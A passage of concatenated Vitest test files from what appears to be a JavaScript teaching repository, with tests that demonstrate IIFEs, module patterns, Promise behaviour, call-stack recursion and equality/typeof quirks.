2: IIFE (Better)', () => { it('should demonstrate IIFE protects state', () => { // Uses closure to hide counter var Counter = (function () { var counter = 0 // Private! return { increment: function () { counter++ }, getCount: function () { return counter } } })() Counter.increment() expect(Counter.getCount()).toBe(1) expect(Counter.counter).toBe(undefined) // private! }) it('should prevent external modification of private state', () => { var Counter = (function () { var counter = 0 return { increment: function () { counter++ }, getCount: function () { return counter } } })() Counter.increment() Counter.increment() Counter.increment() // Cannot directly set counter Counter.counter = 999 expect(Counter.getCount()).toBe(3) // Still 3, not 999! }) }) describe('Era 3: ES6 Modules (Best) - Pattern', () => { it('should demonstrate module pattern (simulated)', () => { // Simulating: // counter.js // let counter = 0; // Private (not exported) // export function increment() { counter++; } // export function getCount() { return counter; } const counterModule = (function () { let counter = 0 // Private (not exported) return { increment() { counter++ }, getCount() { return counter } } })() // Simulating: import { increment, getCount } from './counter.js'; const { increment, getCount } = counterModule increment() expect(getCount()).toBe(1) // counter variable is not accessible at all expect(counterModule.counter).toBe(undefined) }) }) }) // =========================================== // Common Patterns and Best Practices // =========================================== describe('Common Patterns and Best Practices', () => { describe('Avoid Circular Dependencies', () => { it('should demonstrate shared module pattern to avoid circular deps', () => { // Instead of A importing B and B importing A... // Create a third module for shared code // shared.js const sharedModule = { sharedThing: 'shared', helperFunction() { return 'helper result' } } // a.js - imports from shared const moduleA = { fromA: 'A', useShared() { return sharedModule.sharedThing } } // b.js - also imports from shared const moduleB = { fromB: 'B', useShared() { return sharedModule.sharedThing } } // No circular dependency! expect(moduleA.useShared()).toBe('shared') expect(moduleB.useShared()).toBe('shared') }) }) }) // =========================================== // Test Your Knowledge Examples // =========================================== describe('Test Your Knowledge Examples', () => { describe('Question 1: What does IIFE stand for?', () => { it('should demonstrate Immediately Invoked Function Expression', () => { const results = [] // Immediately - runs right now // Invoked - called/executed // Function Expression - a function written as an expression results.push('before') ;(function () { results.push('immediately invoked') })() results.push('after') expect(results).toEqual(['before', 'immediately invoked', 'after']) }) }) describe('Question 3: How to create private variable in IIFE?', () => { it('should create private variable inside IIFE', () => { const module = (function () { // Private variable let privateCounter = 0 // Return public methods that can access it return { increment() { privateCounter++ }, getCount() { return privateCounter } } })() module.increment() expect(module.getCount()).toBe(1) expect(module.privateCounter).toBe(undefined) // private! }) }) describe('Question 4: Static vs Dynamic imports', () => { it('should demonstrate dynamic import returns a Promise', async () => { // Dynamic imports return Promises // const module = await import('./module.js') // Simulating dynamic import behavior const dynamicImport = () => Promise.resolve({ default: function () { return 'loaded' }, namedExport: 'value' }) const module = await dynamicImport() expect(module.default()).toBe('loaded') expect(module.namedExport).toBe('value') }) }) describe('Question 6: When to use IIFE today', () => { it('should use IIFE for async initialization', async () => { let data = null await (async () => { data = await Promise.resolve({ loaded: true }) })() expect(data).toEqual({ loaded: true }) }) it('should use IIFE for one-time calculations', () => { const config = (() => { // Complex setup that runs once const computed = 2 + 2 return { computed, ready: true } })() expect(config.computed).toBe(4) expect(config.ready).toBe(true) }) }) }) // =========================================== // Additional Edge Cases // =========================================== describe('Edge Cases and Additional Tests', () => { describe('IIFE Return Values', () => { it('should return primitive values from IIFE', () => { const number = (function () { return 42 })() const string = (function () { return 'hello' })() const boolean = (function () { return true })() expect(number).toBe(42) expect(string).toBe('hello') expect(boolean).toBe(true) }) it('should return undefined when no return statement', () => { const result = (function () { const x = 1 + 1 // no return })() expect(result).toBe(undefined) }) it('should return arrays and objects from IIFE', () => { const arr = (function () { return [1, 2, 3] })() const obj = (function () { return { a: 1, b: 2 } })() expect(arr).toEqual([1, 2, 3]) expect(obj).toEqual({ a: 1, b: 2 }) }) }) describe('Nested IIFEs', () => { it('should support nested IIFEs', () => { const result = (function () { const outer = 'outer' return (function () { const inner = 'inner' return outer + '-' + inner })() })() expect(result).toBe('outer-inner') }) }) describe('IIFE with this context', () => { it('should demonstrate arrow IIFE inherits this from enclosing scope', () => { // Arrow functions don't have their own this binding // They inherit this from the enclosing lexical scope const obj = { name: 'TestObject', getThisArrow: (() => { // In module scope, this may be undefined or global depending on environment return typeof this })(), getNameWithRegular: function() { return (function() { // Regular function IIFE in strict mode has undefined this return this })() } } // Arrow IIFE inherits this from module scope (not the object) expect(typeof obj.getThisArrow).toBe('string') // Regular function IIFE called without context has undefined this in strict mode expect(obj.getNameWithRegular()).toBe(undefined) }) it('should show regular function IIFE has undefined this in strict mode', () => { const result = (function() { 'use strict' return this })() expect(result).toBe(undefined) }) }) describe('Namespace Extension', () => { it('should extend existing namespace safely', () => { // Create or extend namespace const MyApp = {} // Safely extend (pattern used in large apps) MyApp.Utils = MyApp.Utils || {} MyApp.Utils.String = MyApp.Utils.String || {} MyApp.Utils.String.reverse = function (str) { return str.split('').reverse().join('') } expect(MyApp.Utils.String.reverse('hello')).toBe('olleh') // Extend again without overwriting MyApp.Utils.String = MyApp.Utils.String || {} MyApp.Utils.String.uppercase = function (str) { return str.toUpperCase() } // Both functions exist expect(MyApp.Utils.String.reverse('test')).toBe('tset') expect(MyApp.Utils.String.uppercase('test')).toBe('TEST') }) }) describe('Closure over Loop Variables', () => { it('should demonstrate IIFE fixing var loop problem', () => { const funcs = [] for (var i = 0; i < 3; i++) { ;(function (j) { funcs.push(function () { return j }) })(i) } expect(funcs[0]()).toBe(0) expect(funcs[1]()).toBe(1) expect(funcs[2]()).toBe(2) }) it('should show problem without IIFE', () => { const funcs = [] for (var i = 0; i < 3; i++) { funcs.push(function () { return i }) } // All return 3 because they share the same i expect(funcs[0]()).toBe(3) expect(funcs[1]()).toBe(3) expect(funcs[2]()).toBe(3) }) }) describe('Module Pattern Variations', () => { it('should implement revealing module pattern', () => { const RevealingModule = (function () { // Private variables and functions let privateVar = 'private' let publicVar = 'public' function privateFunction() { return privateVar } function publicFunction() { return publicVar } function setPrivate(val) { privateVar = val } // Reveal public pointers to private functions return { publicVar, publicFunction, setPrivate, getPrivate: privateFunction } })() expect(RevealingModule.publicVar).toBe('public') expect(RevealingModule.publicFunction()).toBe('public') expect(RevealingModule.getPrivate()).toBe('private') RevealingModule.setPrivate('updated') expect(RevealingModule.getPrivate()).toBe('updated') // Private function not accessible directly expect(RevealingModule.privateFunction).toBe(undefined) }) it('should implement singleton pattern with IIFE', () => { const Singleton = (function () { let instance function createInstance() { return { id: Math.random(), getName() { return 'Singleton Instance' } } } return { getInstance() { if (!instance) { instance = createInstance() } return instance } } })() const instance1 = Singleton.getInstance() const instance2 = Singleton.getInstance() expect(instance1).toBe(instance2) // Same instance expect(instance1.id).toBe(instance2.id) }) }) }) }) ================================================ FILE: tests/functions-execution/promises/promises.test.js ================================================ import { describe, it, expect, vi } from 'vitest' describe('Promises', () => { describe('Basic Promise Creation', () => { it('should create a fulfilled Promise with resolve()', async () => { const promise = new Promise((resolve) => { resolve('success') }) const result = await promise expect(result).toBe('success') }) it('should create a rejected Promise with reject()', async () => { const promise = new Promise((_, reject) => { reject(new Error('failure')) }) await expect(promise).rejects.toThrow('failure') }) it('should execute the executor function synchronously', () => { const order = [] order.push('before') new Promise((resolve) => { order.push('inside executor') resolve('done') }) order.push('after') expect(order).toEqual(['before', 'inside executor', 'after']) }) it('should ignore subsequent resolve/reject calls after first settlement', async () => { const promise = new Promise((resolve, reject) => { resolve('first') resolve('second') // Ignored reject(new Error('error')) // Ignored }) const result = await promise expect(result).toBe('first') }) it('should automatically reject if executor throws', async () => { const promise = new Promise(() => { throw new Error('thrown error') }) await expect(promise).rejects.toThrow('thrown error') }) }) describe('Promise.resolve() and Promise.reject()', () => { it('should create fulfilled Promise with Promise.resolve()', async () => { const promise = Promise.resolve(42) expect(await promise).toBe(42) }) it('should create rejected Promise with Promise.reject()', async () => { const promise = Promise.reject(new Error('rejected')) await expect(promise).rejects.toThrow('rejected') }) it('should return the same Promise if resolving with a Promise', async () => { const original = Promise.resolve('original') const wrapped = Promise.resolve(original) // Promise.resolve returns the same Promise if given a native Promise expect(wrapped).toBe(original) }) }) describe('.then() method', () => { it('should receive the fulfilled value', async () => { const result = await Promise.resolve(10).then(x => x * 2) expect(result).toBe(20) }) it('should return a new Promise', () => { const p1 = Promise.resolve(1) const p2 = p1.then(x => x) expect(p2).toBeInstanceOf(Promise) expect(p1).not.toBe(p2) }) it('should chain values through multiple .then() calls', async () => { const result = await Promise.resolve(1) .then(x => x + 1) .then(x => x * 2) .then(x => x + 10) expect(result).toBe(14) // ((1 + 1) * 2) + 10 }) it('should unwrap returned Promises', async () => { const result = await Promise.resolve(1) .then(x => Promise.resolve(x + 1)) .then(x => x * 2) expect(result).toBe(4) // (1 + 1) * 2 }) it('should skip .then() when Promise is rejected', async () => { const thenCallback = vi.fn() await Promise.reject(new Error('error')) .then(thenCallback) .catch(() => {}) // Handle the rejection expect(thenCallback).not.toHaveBeenCalled() }) }) describe('.catch() method', () => { it('should catch rejected Promises', async () => { const result = await Promise.reject(new Error('error')) .catch(error => `caught: ${error.message}`) expect(result).toBe('caught: error') }) it('should catch errors thrown in .then()', async () => { const result = await Promise.resolve('ok') .then(() => { throw new Error('thrown') }) .catch(error => `caught: ${error.message}`) expect(result).toBe('caught: thrown') }) it('should allow chain to continue after catching', async () => { const result = await Promise.reject(new Error('error')) .catch(() => 'recovered') .then(value => value.toUpperCase()) expect(result).toBe('RECOVERED') }) it('should propagate errors through the chain until caught', async () => { const thenCallback1 = vi.fn() const thenCallback2 = vi.fn() const catchCallback = vi.fn(e => e.message) await Promise.reject(new Error('original error')) .then(thenCallback1) .then(thenCallback2) .catch(catchCallback) expect(thenCallback1).not.toHaveBeenCalled() expect(thenCallback2).not.toHaveBeenCalled() expect(catchCallback).toHaveBeenCalledWith(expect.any(Error)) }) }) describe('.finally() method', () => { it('should run on fulfillment', async () => { const finallyCallback = vi.fn() await Promise.resolve('value').finally(finallyCallback) expect(finallyCallback).toHaveBeenCalled() }) it('should run on rejection', async () => { const finallyCallback = vi.fn() await Promise.reject(new Error('error')) .catch(() => {}) // Handle rejection .finally(finallyCallback) expect(finallyCallback).toHaveBeenCalled() }) it('should not receive any arguments', async () => { const finallyCallback = vi.fn() await Promise.resolve('value').finally(finallyCallback) expect(finallyCallback).toHaveBeenCalledWith() // No arguments }) it('should pass through the original value', async () => { const result = await Promise.resolve('original') .finally(() => 'ignored') expect(result).toBe('original') }) it('should pass through the original error', async () => { await expect( Promise.reject(new Error('original')) .finally(() => 'ignored') ).rejects.toThrow('original') }) }) describe('Promise Chaining', () => { it('should maintain chain with undefined return', async () => { const result = await Promise.resolve('start') .then(() => { // No explicit return = undefined }) .then(value => value) expect(result).toBeUndefined() }) it('should handle async operations in sequence', async () => { const delay = (ms, value) => new Promise(resolve => setTimeout(() => resolve(value), ms)) const result = await delay(10, 'first') .then(value => delay(10, value + ' second')) .then(value => delay(10, value + ' third')) expect(result).toBe('first second third') }) }) describe('Promise.all()', () => { it('should resolve with array of values when all fulfill', async () => { const result = await Promise.all([ Promise.resolve(1), Promise.resolve(2), Promise.resolve(3) ]) expect(result).toEqual([1, 2, 3]) }) it('should maintain order regardless of resolution order', async () => { const result = await Promise.all([ new Promise(resolve => setTimeout(() => resolve('slow'), 30)), new Promise(resolve => setTimeout(() => resolve('fast'), 10)), Promise.resolve('instant') ]) expect(result).toEqual(['slow', 'fast', 'instant']) }) it('should reject immediately if any Promise rejects', async () => { await expect( Promise.all([ Promise.resolve('A'), Promise.reject(new Error('B failed')), Promise.resolve('C') ]) ).rejects.toThrow('B failed') }) it('should work with non-Promise values', async () => { const result = await Promise.all([1, 'two', Promise.resolve(3)]) expect(result).toEqual([1, 'two', 3]) }) it('should resolve immediately with empty array', async () => { const result = await Promise.all([]) expect(result).toEqual([]) }) }) describe('Promise.allSettled()', () => { it('should return status objects for all Promises', async () => { const results = await Promise.allSettled([ Promise.resolve('success'), Promise.reject(new Error('failure')), Promise.resolve(42) ]) expect(results).toEqual([ { status: 'fulfilled', value: 'success' }, { status: 'rejected', reason: expect.any(Error) }, { status: 'fulfilled', value: 42 } ]) }) it('should never reject', async () => { const results = await Promise.allSettled([ Promise.reject(new Error('error 1')), Promise.reject(new Error('error 2')) ]) expect(results).toHaveLength(2) expect(results[0].status).toBe('rejected') expect(results[1].status).toBe('rejected') }) it('should wait for all to settle', async () => { const start = Date.now() await Promise.allSettled([ new Promise(resolve => setTimeout(resolve, 50)), new Promise((_, reject) => setTimeout(() => reject(new Error()), 30)), new Promise(resolve => setTimeout(resolve, 40)) ]) const elapsed = Date.now() - start expect(elapsed).toBeGreaterThanOrEqual(45) // Waited for slowest }) }) describe('Promise.race()', () => { it('should resolve with first settled value', async () => { const result = await Promise.race([ new Promise(resolve => setTimeout(() => resolve('slow'), 50)), new Promise(resolve => setTimeout(() => resolve('fast'), 10)) ]) expect(result).toBe('fast') }) it('should reject if first settled is rejection', async () => { await expect( Promise.race([ new Promise((_, reject) => setTimeout(() => reject(new Error('fast error')), 10)), new Promise(resolve => setTimeout(() => resolve('slow success'), 50)) ]) ).rejects.toThrow('fast error') }) it('should never settle with empty array', () => { // Promise.race([]) returns a forever-pending Promise const promise = Promise.race([]) // We can't really test this without timing out, // but we can verify it returns a Promise expect(promise).toBeInstanceOf(Promise) }) }) describe('Promise.any()', () => { it('should resolve with first fulfilled value', async () => { const result = await Promise.any([ Promise.reject(new Error('error 1')), Promise.resolve('success'), Promise.reject(new Error('error 2')) ]) expect(result).toBe('success') }) it('should wait for first fulfillment, ignoring rejections', async () => { const result = await Promise.any([ new Promise((_, reject) => setTimeout(() => reject(new Error()), 10)), new Promise(resolve => setTimeout(() => resolve('winner'), 30)), new Promise((_, reject) => setTimeout(() => reject(new Error()), 20)) ]) expect(result).toBe('winner') }) it('should reject with AggregateError if all reject', async () => { try { await Promise.any([ Promise.reject(new Error('error 1')), Promise.reject(new Error('error 2')), Promise.reject(new Error('error 3')) ]) expect.fail('Should have rejected') } catch (error) { expect(error.name).toBe('AggregateError') expect(error.errors).toHaveLength(3) } }) }) describe('Microtask Queue Timing', () => { it('should run .then() callbacks asynchronously', () => { const order = [] order.push('1') Promise.resolve().then(() => { order.push('3') }) order.push('2') // Synchronously, only 1 and 2 are in the array expect(order).toEqual(['1', '2']) }) it('should demonstrate microtask priority over macrotasks', async () => { const order = [] // Macrotask (setTimeout) setTimeout(() => order.push('timeout'), 0) // Microtask (Promise) Promise.resolve().then(() => order.push('promise')) // Wait for both to complete await new Promise(resolve => setTimeout(resolve, 10)) // Promise (microtask) runs before setTimeout (macrotask) expect(order).toEqual(['promise', 'timeout']) }) it('should process nested microtasks before macrotasks', async () => { const order = [] setTimeout(() => order.push('timeout'), 0) Promise.resolve().then(() => { order.push('promise 1') Promise.resolve().then(() => { order.push('promise 2') }) }) await new Promise(resolve => setTimeout(resolve, 10)) expect(order).toEqual(['promise 1', 'promise 2', 'timeout']) }) }) describe('Common Patterns', () => { it('should wrap setTimeout in a Promise (delay pattern)', async () => { const delay = (ms) => new Promise(resolve => setTimeout(resolve, ms)) const start = Date.now() await delay(50) const elapsed = Date.now() - start expect(elapsed).toBeGreaterThanOrEqual(45) }) it('should handle sequential execution', async () => { const results = [] const items = [1, 2, 3] for (const item of items) { const result = await Promise.resolve(item * 2) results.push(result) } expect(results).toEqual([2, 4, 6]) }) it('should handle parallel execution', async () => { const items = [1, 2, 3] const results = await Promise.all( items.map(item => Promise.resolve(item * 2)) ) expect(results).toEqual([2, 4, 6]) }) }) describe('Common Mistakes', () => { it('should demonstrate forgotten return issue', async () => { // This is what happens when you forget to return const result = await Promise.resolve('start') .then(value => { Promise.resolve(value + ' middle') // Forgot return! }) .then(value => value) expect(result).toBeUndefined() // Lost the value! }) it('should demonstrate correct return', async () => { const result = await Promise.resolve('start') .then(value => { return Promise.resolve(value + ' middle') // Correct! }) .then(value => value) expect(result).toBe('start middle') }) it('should demonstrate Promise constructor anti-pattern', async () => { // Anti-pattern: unnecessary wrapper const antiPattern = () => { return new Promise((resolve, reject) => { Promise.resolve('data') .then(data => resolve(data)) .catch(error => reject(error)) }) } // Correct: just return the Promise const correct = () => { return Promise.resolve('data') } // Both work, but correct is cleaner expect(await antiPattern()).toBe('data') expect(await correct()).toBe('data') }) }) describe('Error Handling Patterns', () => { it('should catch errors anywhere in the chain', async () => { const error = await Promise.resolve('start') .then(() => { throw new Error('middle error') }) .then(() => 'never reached') .catch(e => e.message) expect(error).toBe('middle error') }) it('should allow recovery from errors', async () => { const result = await Promise.reject(new Error('initial error')) .catch(() => 'recovered value') .then(value => value.toUpperCase()) expect(result).toBe('RECOVERED VALUE') }) it('should allow re-throwing errors', async () => { await expect( Promise.reject(new Error('original')) .catch(error => { // Log it, then re-throw throw error }) ).rejects.toThrow('original') }) }) }) ================================================ FILE: tests/fundamentals/call-stack/call-stack.test.js ================================================ import { describe, it, expect } from 'vitest' describe('Call Stack', () => { describe('Basic Function Calls', () => { it('should execute nested function calls and return correct greeting', () => { function createGreeting(name) { return "Hello, " + name + "!" } function greet(name) { const greeting = createGreeting(name) return greeting } expect(greet("Alice")).toBe("Hello, Alice!") }) it('should demonstrate function arguments in execution context', () => { function greet(name, age) { return { name, age } } const result = greet("Alice", 25) expect(result).toEqual({ name: "Alice", age: 25 }) }) it('should demonstrate local variables in execution context', () => { function calculate() { const x = 10 let y = 20 var z = 30 return x + y + z } expect(calculate()).toBe(60) }) }) describe('Nested Function Calls', () => { it('should execute multiply, square, and printSquare correctly', () => { function multiply(x, y) { return x * y } function square(n) { return multiply(n, n) } function printSquare(n) { const result = square(n) return result } expect(printSquare(4)).toBe(16) }) it('should handle deep nesting of function calls', () => { function a() { return b() } function b() { return c() } function c() { return d() } function d() { return 'done' } expect(a()).toBe('done') }) it('should calculate maximum stack depth correctly for nested calls', () => { // This test verifies the example where max depth is 4 let maxDepth = 0 let currentDepth = 0 function a() { currentDepth++ maxDepth = Math.max(maxDepth, currentDepth) const result = b() currentDepth-- return result } function b() { currentDepth++ maxDepth = Math.max(maxDepth, currentDepth) const result = c() currentDepth-- return result } function c() { currentDepth++ maxDepth = Math.max(maxDepth, currentDepth) const result = d() currentDepth-- return result } function d() { currentDepth++ maxDepth = Math.max(maxDepth, currentDepth) currentDepth-- return 'done' } a() expect(maxDepth).toBe(4) }) }) describe('Scope Chain in Execution Context', () => { it('should access outer scope variables from inner function', () => { function outer() { const message = "Hello" function inner() { return message } return inner() } expect(outer()).toBe("Hello") }) it('should demonstrate this keyword context in objects', () => { const person = { name: "Alice", greet() { return this.name } } expect(person.greet()).toBe("Alice") }) }) describe('Stack Overflow', () => { it('should throw RangeError for infinite recursion without base case', () => { function countdown(n) { countdown(n - 1) // No base case - infinite recursion } expect(() => countdown(5)).toThrow(RangeError) }) it('should work correctly with proper base case', () => { const results = [] function countdown(n) { if (n <= 0) { results.push("Done!") return } results.push(n) countdown(n - 1) } countdown(5) expect(results).toEqual([5, 4, 3, 2, 1, "Done!"]) }) it('should throw for infinite loop function', () => { function loop() { loop() } expect(() => loop()).toThrow(RangeError) }) it('should throw for base case that is never reached', () => { function countUp(n, limit = 100) { // Modified to have a safety limit for testing if (n >= 1000000000000 || limit <= 0) return n return countUp(n + 1, limit - 1) } // This will return before hitting the impossible base case expect(countUp(0)).toBe(100) }) it('should throw for circular function calls', () => { function a() { return b() } function b() { return a() } expect(() => a()).toThrow(RangeError) }) it('should throw for accidental recursion in setters', () => { class Person { set name(value) { this.name = value // Calls the setter again - infinite loop! } } const p = new Person() expect(() => { p.name = "Alice" }).toThrow(RangeError) }) it('should work correctly with proper setter implementation using different property', () => { class PersonFixed { set name(value) { this._name = value // Use _name instead to avoid recursion } get name() { return this._name } } const p = new PersonFixed() p.name = "Alice" expect(p.name).toBe("Alice") }) }) describe('Recursion with Base Case', () => { it('should calculate factorial correctly', () => { function factorial(n) { if (n <= 1) return 1 return n * factorial(n - 1) } expect(factorial(5)).toBe(120) expect(factorial(1)).toBe(1) expect(factorial(0)).toBe(1) }) it('should demonstrate proper countdown with base case', () => { function countdown(n) { if (n <= 0) { return "Done!" } return countdown(n - 1) } expect(countdown(5)).toBe("Done!") }) }) describe('Error Stack Traces', () => { it('should create error with proper stack trace', () => { function a() { return b() } function b() { return c() } function c() { throw new Error('Something went wrong!') } expect(() => a()).toThrow('Something went wrong!') }) it('should preserve call stack in error', () => { function a() { return b() } function b() { return c() } function c() { throw new Error('Test error') } try { a() } catch (error) { expect(error.stack).toContain('c') expect(error.stack).toContain('b') expect(error.stack).toContain('a') } }) }) describe('Asynchronous Code Preview', () => { it('should demonstrate setTimeout behavior with call stack', async () => { const results = [] results.push('First') await new Promise(resolve => { setTimeout(() => { results.push('Second') resolve() }, 0) results.push('Third') }) // Even with 0ms delay, 'Third' runs before 'Second' expect(results).toEqual(['First', 'Third', 'Second']) }) }) }) ================================================ FILE: tests/fundamentals/equality-operators/equality-operators.test.js ================================================ import { describe, it, expect } from 'vitest' describe('Equality and Type Checking', () => { describe('Three Equality Operators Overview', () => { it('should demonstrate different results for same comparison', () => { const num = 1 const str = "1" expect(num == str).toBe(true) // coerces string to number expect(num === str).toBe(false) // different types expect(Object.is(num, str)).toBe(false) // different types }) }) describe('Loose Equality (==)', () => { describe('Same Type Comparison', () => { it('should compare directly when same type', () => { expect(5 == 5).toBe(true) expect("hello" == "hello").toBe(true) }) }) describe('null and undefined', () => { it('should return true for null == undefined', () => { expect(null == undefined).toBe(true) expect(undefined == null).toBe(true) }) }) describe('Number and String', () => { it('should convert string to number', () => { expect(5 == "5").toBe(true) expect(0 == "").toBe(true) expect(100 == "1e2").toBe(true) }) it('should return false for different string comparison', () => { expect("" == "0").toBe(false) // Both strings, different values }) it('should handle NaN conversions', () => { expect(NaN == "NaN").toBe(false) // NaN ≠ anything expect(0 == "hello").toBe(false) // "hello" → NaN }) }) describe('BigInt and String', () => { it('should convert string to BigInt', () => { expect(10n == "10").toBe(true) }) }) describe('Boolean Coercion', () => { it('should convert boolean to number first', () => { expect(true == 1).toBe(true) expect(false == 0).toBe(true) expect(true == "1").toBe(true) expect(false == "").toBe(true) }) it('should demonstrate confusing boolean comparisons', () => { expect(true == "true").toBe(false) // true → 1, "true" → NaN expect(false == "false").toBe(false) // false → 0, "false" → NaN expect(true == 2).toBe(false) // true → 1, 1 ≠ 2 expect(true == "2").toBe(false) // true → 1, "2" → 2 }) }) describe('Object to Primitive', () => { it('should convert object via ToPrimitive', () => { expect([1] == 1).toBe(true) // [1] → "1" → 1 expect([""] == 0).toBe(true) // [""] → "" → 0 }) }) describe('BigInt and Number', () => { it('should compare mathematical values', () => { expect(10n == 10).toBe(true) expect(10n == 10.5).toBe(false) }) }) describe('Special Cases', () => { it('should return false for null/undefined vs other values', () => { expect(null == 0).toBe(false) expect(undefined == 0).toBe(false) expect(Symbol() == Symbol()).toBe(false) }) }) describe('Surprising Results', () => { describe('String and Number', () => { it('should demonstrate string to number conversions', () => { expect(1 == "1").toBe(true) expect(0 == "").toBe(true) expect(0 == "0").toBe(true) expect(100 == "1e2").toBe(true) }) }) describe('null and undefined', () => { it('should demonstrate special null/undefined behavior', () => { expect(null == undefined).toBe(true) expect(null == 0).toBe(false) expect(null == false).toBe(false) expect(null == "").toBe(false) expect(undefined == 0).toBe(false) expect(undefined == false).toBe(false) }) it('should catch both null and undefined with == null', () => { function greet(name) { if (name == null) { return "Hello, stranger!" } return `Hello, ${name}!` } expect(greet(null)).toBe("Hello, stranger!") expect(greet(undefined)).toBe("Hello, stranger!") expect(greet("Alice")).toBe("Hello, Alice!") expect(greet("")).toBe("Hello, !") expect(greet(0)).toBe("Hello, 0!") }) }) describe('Arrays and Objects', () => { it('should convert arrays via ToPrimitive', () => { expect([] == false).toBe(true) expect([] == 0).toBe(true) expect([] == "").toBe(true) expect([1] == 1).toBe(true) expect([1] == "1").toBe(true) expect([1, 2] == "1,2").toBe(true) }) it('should use valueOf on objects with custom valueOf', () => { let obj = { valueOf: () => 42 } expect(obj == 42).toBe(true) }) }) }) describe('Step-by-Step Trace: [] == ![]', () => { it('should demonstrate [] == ![] is true', () => { // Step 1: Evaluate ![] // [] is truthy, so ![] = false const step1 = ![] expect(step1).toBe(false) // Step 2: Now we have [] == false // Boolean → Number: false → 0 // [] == 0 // Step 3: Object → Primitive // [].toString() → "" // "" == 0 // Step 4: String → Number // "" → 0 // 0 == 0 → true const emptyArray = [] expect(emptyArray == step1).toBe(true) }) }) }) describe('Strict Equality (===)', () => { describe('Type Check', () => { it('should return false for different types immediately', () => { expect(1 === "1").toBe(false) expect(true === 1).toBe(false) expect(null === undefined).toBe(false) }) }) describe('Number Comparison', () => { it('should compare numeric values', () => { expect(42 === 42).toBe(true) expect(Infinity === Infinity).toBe(true) }) it('should return false for NaN === NaN', () => { expect(NaN === NaN).toBe(false) }) it('should return true for +0 === -0', () => { expect(+0 === -0).toBe(true) }) }) describe('String Comparison', () => { it('should compare string characters', () => { expect("hello" === "hello").toBe(true) expect("hello" === "Hello").toBe(false) // Case sensitive expect("hello" === "hello ").toBe(false) // Different length }) }) describe('Boolean Comparison', () => { it('should compare boolean values', () => { expect(true === true).toBe(true) expect(false === false).toBe(true) expect(true === false).toBe(false) }) }) describe('BigInt Comparison', () => { it('should compare BigInt values', () => { expect(10n === 10n).toBe(true) expect(10n === 20n).toBe(false) }) }) describe('Symbol Comparison', () => { it('should return false for different symbols', () => { const sym = Symbol("id") expect(sym === sym).toBe(true) expect(Symbol("id") === Symbol("id")).toBe(false) }) }) describe('Object Comparison (Reference)', () => { it('should compare by reference, not value', () => { const obj = { a: 1 } expect(obj === obj).toBe(true) const obj1 = { a: 1 } const obj2 = { a: 1 } expect(obj1 === obj2).toBe(false) // Different objects! }) it('should return false for different arrays', () => { const arr1 = [1, 2, 3] const arr2 = [1, 2, 3] const arr3 = arr1 expect(arr1 === arr2).toBe(false) expect(arr1 === arr3).toBe(true) }) it('should return false for different functions', () => { const fn1 = () => {} const fn2 = () => {} const fn3 = fn1 expect(fn1 === fn2).toBe(false) expect(fn1 === fn3).toBe(true) }) }) describe('null and undefined', () => { it('should compare null and undefined correctly', () => { expect(null === null).toBe(true) expect(undefined === undefined).toBe(true) expect(null === undefined).toBe(false) }) }) describe('Predictable Results', () => { it('should return false for different types', () => { expect(1 === "1").toBe(false) expect(0 === "").toBe(false) expect(true === 1).toBe(false) expect(false === 0).toBe(false) expect(null === undefined).toBe(false) }) it('should return true for same type and value', () => { expect(1 === 1).toBe(true) expect("hello" === "hello").toBe(true) expect(true === true).toBe(true) expect(null === null).toBe(true) expect(undefined === undefined).toBe(true) }) }) describe('Special Cases: NaN and ±0', () => { it('should demonstrate NaN !== NaN', () => { expect(NaN === NaN).toBe(false) expect(Number.isNaN(NaN)).toBe(true) expect(isNaN(NaN)).toBe(true) expect(isNaN("hello")).toBe(true) // Converts to NaN first expect(Number.isNaN("hello")).toBe(false) // No conversion }) it('should demonstrate +0 === -0', () => { expect(+0 === -0).toBe(true) expect(1 / +0).toBe(Infinity) expect(1 / -0).toBe(-Infinity) expect(Object.is(+0, -0)).toBe(false) }) it('should detect -0', () => { expect(0 * -1).toBe(-0) expect(Object.is(0 * -1, -0)).toBe(true) }) }) }) describe('Object.is()', () => { describe('Comparison with ===', () => { it('should behave like === for most cases', () => { expect(Object.is(1, 1)).toBe(true) expect(Object.is("a", "a")).toBe(true) expect(Object.is(null, null)).toBe(true) const obj1 = {} const obj2 = {} expect(Object.is(obj1, obj2)).toBe(false) }) }) describe('NaN Equality', () => { it('should return true for NaN === NaN', () => { expect(Object.is(NaN, NaN)).toBe(true) }) }) describe('±0 Distinction', () => { it('should distinguish +0 from -0', () => { expect(Object.is(+0, -0)).toBe(false) expect(Object.is(-0, 0)).toBe(false) }) }) describe('Practical Uses', () => { it('should check for NaN', () => { function isReallyNaN(value) { return Object.is(value, NaN) } expect(isReallyNaN(NaN)).toBe(true) expect(isReallyNaN("hello")).toBe(false) }) it('should check for negative zero', () => { function isNegativeZero(value) { return Object.is(value, -0) } expect(isNegativeZero(-0)).toBe(true) expect(isNegativeZero(0)).toBe(false) }) }) describe('Complete Comparison Table', () => { it('should show differences between ==, ===, and Object.is()', () => { // 1, "1" expect(1 == "1").toBe(true) expect(1 === "1").toBe(false) expect(Object.is(1, "1")).toBe(false) // 0, false expect(0 == false).toBe(true) expect(0 === false).toBe(false) expect(Object.is(0, false)).toBe(false) // null, undefined expect(null == undefined).toBe(true) expect(null === undefined).toBe(false) expect(Object.is(null, undefined)).toBe(false) // NaN, NaN expect(NaN == NaN).toBe(false) expect(NaN === NaN).toBe(false) expect(Object.is(NaN, NaN)).toBe(true) // +0, -0 expect(+0 == -0).toBe(true) expect(+0 === -0).toBe(true) expect(Object.is(+0, -0)).toBe(false) }) }) }) describe('typeof Operator', () => { describe('Correct Results', () => { it('should return correct types for primitives', () => { expect(typeof "hello").toBe("string") expect(typeof 42).toBe("number") expect(typeof 42n).toBe("bigint") expect(typeof true).toBe("boolean") expect(typeof undefined).toBe("undefined") expect(typeof Symbol()).toBe("symbol") }) it('should return "object" for objects and arrays', () => { expect(typeof {}).toBe("object") expect(typeof []).toBe("object") expect(typeof new Date()).toBe("object") expect(typeof /regex/).toBe("object") }) it('should return "function" for functions', () => { expect(typeof function(){}).toBe("function") expect(typeof (() => {})).toBe("function") expect(typeof class {}).toBe("function") expect(typeof Math.sin).toBe("function") }) }) describe('Famous Quirks', () => { it('should return "object" for null (bug)', () => { expect(typeof null).toBe("object") }) it('should return "object" for arrays', () => { expect(typeof []).toBe("object") expect(typeof [1, 2, 3]).toBe("object") expect(typeof new Array()).toBe("object") }) it('should return "number" for NaN', () => { expect(typeof NaN).toBe("number") }) it('should return "undefined" for undeclared variables', () => { expect(typeof undeclaredVariable).toBe("undefined") }) }) describe('Workarounds', () => { it('should check for null explicitly', () => { function getType(value) { if (value === null) return "null" 